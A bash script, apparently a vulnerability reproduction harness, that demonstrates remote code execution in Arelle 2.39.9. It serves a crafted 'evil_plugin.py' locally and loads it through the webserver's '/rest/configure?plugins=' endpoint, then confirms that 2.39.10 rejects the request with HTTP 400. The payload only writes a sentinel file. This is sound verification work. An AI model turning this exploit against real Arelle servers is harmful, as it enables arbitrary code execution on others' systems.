#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"
cd "$ROOT"

VULN_VENV="$ROOT/.venv_vuln"
FIXED_VENV="$ROOT/.venv_fixed"
PLUGIN_DIR="$ROOT/repro"
SENTINEL="/tmp/arelle_pwned"
HTTP_PORT=19090
ARELLE_PORT=18080

_cleanup() {
    set +e
    # Kill any processes on our ports
    lsof -i :"$HTTP_PORT" 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r kill -9 2>/dev/null || true
    lsof -i :"$ARELLE_PORT" 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r kill -9 2>/dev/null || true
    rm -f "$SENTINEL"
}
trap _cleanup EXIT

# Ensure no stale listeners
lsof -i :"$HTTP_PORT" 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r kill -9 2>/dev/null || true
lsof -i :"$ARELLE_PORT" 2>/dev/null | awk 'NR>1 {print $2}' | xargs -r kill -9 2>/dev/null || true
sleep 1

cat > "$PLUGIN_DIR/evil_plugin.py" <<'EOF'
import os
SENTINEL = "/tmp/arelle_pwned"
with open(SENTINEL, "w") as f:
    f.write("pwned by plugin")

def utility_run(*args, **kwargs):
    pass

__pluginInfo__ = {
    "name": "evil_plugin",
    "version": "1.0",
    "description": "test plugin",
    "CntlrCmdLine.Utility.Run": utility_run,
}
EOF

_install_arelle() {
    local venv=$1
    local version=$2
    if [[ ! -d "$venv" ]]; then
        python3 -m venv "$venv"
    fi
    if ! "$venv/bin/pip" show arelle-release 2>/dev/null | grep -q "Version: $version"; then
        "$venv/bin/pip" install "arelle-release==$version" --quiet
    fi
}

_test_version() {
    local label=$1
    local venv=$2
    local expect_pwned=$3

    rm -f "$SENTINEL"

    # Start HTTP server to serve plugin
    python3 -m http.server "$HTTP_PORT" --directory "$PLUGIN_DIR" >/dev/null 2>&1 &
    local http_pid=$!
    local arelle_pid=""

    # Wait for HTTP server
    for i in $(seq 1 30); do
        if curl -s -o /dev/null "http://127.0.0.1:$HTTP_PORT/evil_plugin.py"; then
            break
        fi
        sleep 1
    done

    # Start Arelle webserver
    "$venv/bin/arelleCmdLine" --webserver "localhost:$ARELLE_PORT" >/dev/null 2>&1 &
    arelle_pid=$!

    # Wait for Arelle webserver
    for i in $(seq 1 30); do
        if curl -s -o /dev/null "http://127.0.0.1:$ARELLE_PORT"; then
            break
        fi
        sleep 1
    done

    local http_code
    http_code=$(curl -s -o "$LOGS/${label}_response.txt" -w "%{http_code}" \
        "http://127.0.0.1:$ARELLE_PORT/rest/configure?plugins=http://127.0.0.1:$HTTP_PORT/evil_plugin.py")
    echo "${label} HTTP code: $http_code" | tee "$LOGS/${label}_http_code.txt"

    # Stop servers
    kill -9 "$arelle_pid" 2>/dev/null || true
    wait "$arelle_pid" 2>/dev/null || true
    kill -9 "$http_pid" 2>/dev/null || true
    wait "$http_pid" 2>/dev/null || true
    sleep 1

    if [[ "$expect_pwned" == "true" ]]; then
        if [[ -f "$SENTINEL" ]]; then
            echo "${label}: CONFIRMED - sentinel file created (RCE executed)" | tee -a "$LOGS/result.txt"
            return 0
        else
            echo "${label}: FAILED - expected sentinel file but not found" | tee -a "$LOGS/result.txt"
            return 1
        fi
    else
        if [[ "$http_code" == "400" ]] && [[ ! -f "$SENTINEL" ]]; then
            echo "${label}: CONFIRMED - request rejected with 400, no RCE" | tee -a "$LOGS/result.txt"
            return 0
        else
            echo "${label}: FAILED - expected HTTP 400 and no sentinel, got HTTP $http_code, sentinel exists: $([ -f $SENTINEL ] && echo yes || echo no)" | tee -a "$LOGS/result.txt"
            return 1
        fi
    fi
}

# --- Vulnerable version ---
echo "=== Testing vulnerable version 2.39.9 ==="
_install_arelle "$VULN_VENV" "2.39.9"
_test_version "vuln" "$VULN_VENV" "true"
vuln_result=$?

# --- Fixed version ---
echo "=== Testing fixed version 2.39.10 ==="
_install_arelle "$FIXED_VENV" "2.39.10"
_test_version "fixed" "$FIXED_VENV" "false"
fixed_result=$?

if [[ $vuln_result -eq 0 && $fixed_result -eq 0 ]]; then
    echo "=== REPRODUCTION SUCCESSFUL ==="
    echo "Vulnerable version allows remote plugin RCE. Fixed version rejects remote plugins with HTTP 400."
    exit 0
else
    echo "=== REPRODUCTION FAILED ==="
    exit 1
fi
